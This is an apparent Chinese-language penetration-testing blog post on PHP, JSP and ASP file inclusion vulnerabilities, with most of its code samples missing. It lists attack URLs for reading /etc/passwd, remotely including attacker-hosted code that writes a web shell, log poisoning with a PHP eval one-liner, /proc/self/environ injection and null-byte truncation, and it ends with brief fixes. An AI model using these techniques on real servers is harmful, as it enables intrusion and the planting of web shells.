檔案包含漏洞(繞過姿勢)

FLy_鵬程萬里發表於2018-06-23

 檔案包含漏洞是滲透測試過程中用得比較多的一個漏洞,主要用來繞過waf上傳木馬檔案。今日在逛Tools論壇時,發現了一種新型的檔案包含姿勢,在此記錄分享,並附上一些檔案包含漏洞的基礎利用姿勢。

特殊姿勢

  利用phar://協議特性可以在滲透過程中幫我們繞過一些waf檢測,phar:// 資料流包裝器自 PHP 5.3.0 起開始有效,貌似可以繞過安全狗。

利用過程

新建shell.php程式碼內容:


新建test.txt裡的內容:


壓縮test.txt檔案,可以重新命名壓縮檔案為zip,phar,rar等格式,之後訪問shell.php檔案後,會出現phpinfo內容。

親測有效

在實驗環境下,在test目錄下新建shell.php,test.txt,並將test.txt打包成test.zip。


shell.php內容如下:


test.txt內容如下:


訪問shell.php:


參考:http://bbs.pediy.com/thread-216191.htm

php檔案包含漏洞

PHP中的檔案包含分為本地包含與遠端包含,導致檔案包含的函式如下:

  • include()
  • include_once()
  • require()
  • require_once()
  • fopen()
  • readfile()
    ……

本地包含漏洞(LFI)

新建一個phpinfo.txt,然後新建一個shell.php,寫入:


 訪問shell.php會輸出phpinfo頁面內容,無論將副檔名改為什麼,都將以php程式碼執行。如果檔案不是符合php規則的(即沒有寫<?php ?>等),則通過include可以直接輸出原始碼。

遠端包含漏洞

前提:需要開啟allow_url_fopen,預設關閉。
新建php.txt:


新建index.php:


訪問http://www.xxxx.com/page=http://www.xxxx.com/php.txt執行結果將輸出hello world。

檔案包含利用

讀取敏感資訊

如:http://www.xxx.com/index.php?page=/etc/passwd
Windows:


LINUX:


遠端包含shell

test.txt檔案,可以儲存在遠端伺服器上,內容如下:


如果目標網站存在遠端包含漏洞,則可以通過訪問:http://www.xxx1.com/index.php?page=http://www.xx2.com/test.txt則會在伺服器根目錄下生產一個shell.php內容為:


本地包含配合檔案上傳

如果目標伺服器關閉了allow_url_fopen,則可以嘗試使用本地包含+檔案上傳
上傳一個圖片木馬a.jpg,內容為:


訪問URL:http://www.xxx.com/index.php?page=./a.jpg在本地生成shell.php。

本地包含配合apache日誌拿shell

  apache日誌分為access.log與error.log,當我們請求一個url地址時,便會記錄在access.log中,但如果訪問一個不存在的頁面,便會將這個頁面寫入access.log中。如訪問URL:http://www.xxx.com/<?php eval([$_POST]);?>則會將一句話寫入到access.log中,但是一般來說,寫入到access.log檔案中的一句話是被編碼的,所以需要抓包繞過,而且利用此漏洞需要知道access.log的地址,不然便沒有。

利用/proc/self/environ進行包含

如:http://www.test.com/view.php?page=../../../../proc/self/environ
這是web程式執行時的環境變數,其中有些引數是可以被使用者控制的,最常見做法就是在User-Agent中插入一句話。

利用php協議進行包含
  • data:  php5.2以後版本
  • php://input  需要開啟allow_url_include

poc:


截斷包含

有些開發者為了防止本地包含漏洞,會編寫一下程式碼:


(一)00截斷包含
新建1.jpg:


  這樣的話比如上傳一個1.jpg圖片碼,則訪問http://www.xxx.com/1.jpg時,訪問的是1.jgp.php,以為沒有這個檔案所以報錯。這是,可以嘗試訪問http://www.xxx.com/1.jpg%00

(二)使用長目錄截斷


在windows下目錄最大長度為256位元組,linux下為4096位元組,其後面超出部分被丟棄。

檔案包含漏洞修復

開啟open_basedir函式,將其設定為指定目錄,則只有該目錄的檔案允許被訪問。
關閉allow_url_include函式,防止遠端檔案包含。

jsp檔案包含漏洞

include


jsp:include


採用JSTL


說明

(1)include指令在轉換時插入“Header.jsp”的原始碼,而標準動作在執行時插入“Header.jsp”的響應。元素允許你包含動態檔案和靜態,而include說明標籤僅僅是把一個檔案內容當成靜態追加到主檔案中去。
(2)採用前兩種方式,只能包含當前web應用的介面,不過c:import可以包含容器之外的內容。

asp檔案包含漏洞

asp貌似無法包含遠端檔案(iis安全設定),只能包含本地檔案,語法如下:


aspx檔案包含漏洞

aspx檔案包含與asp一樣,語法如下:


相關文章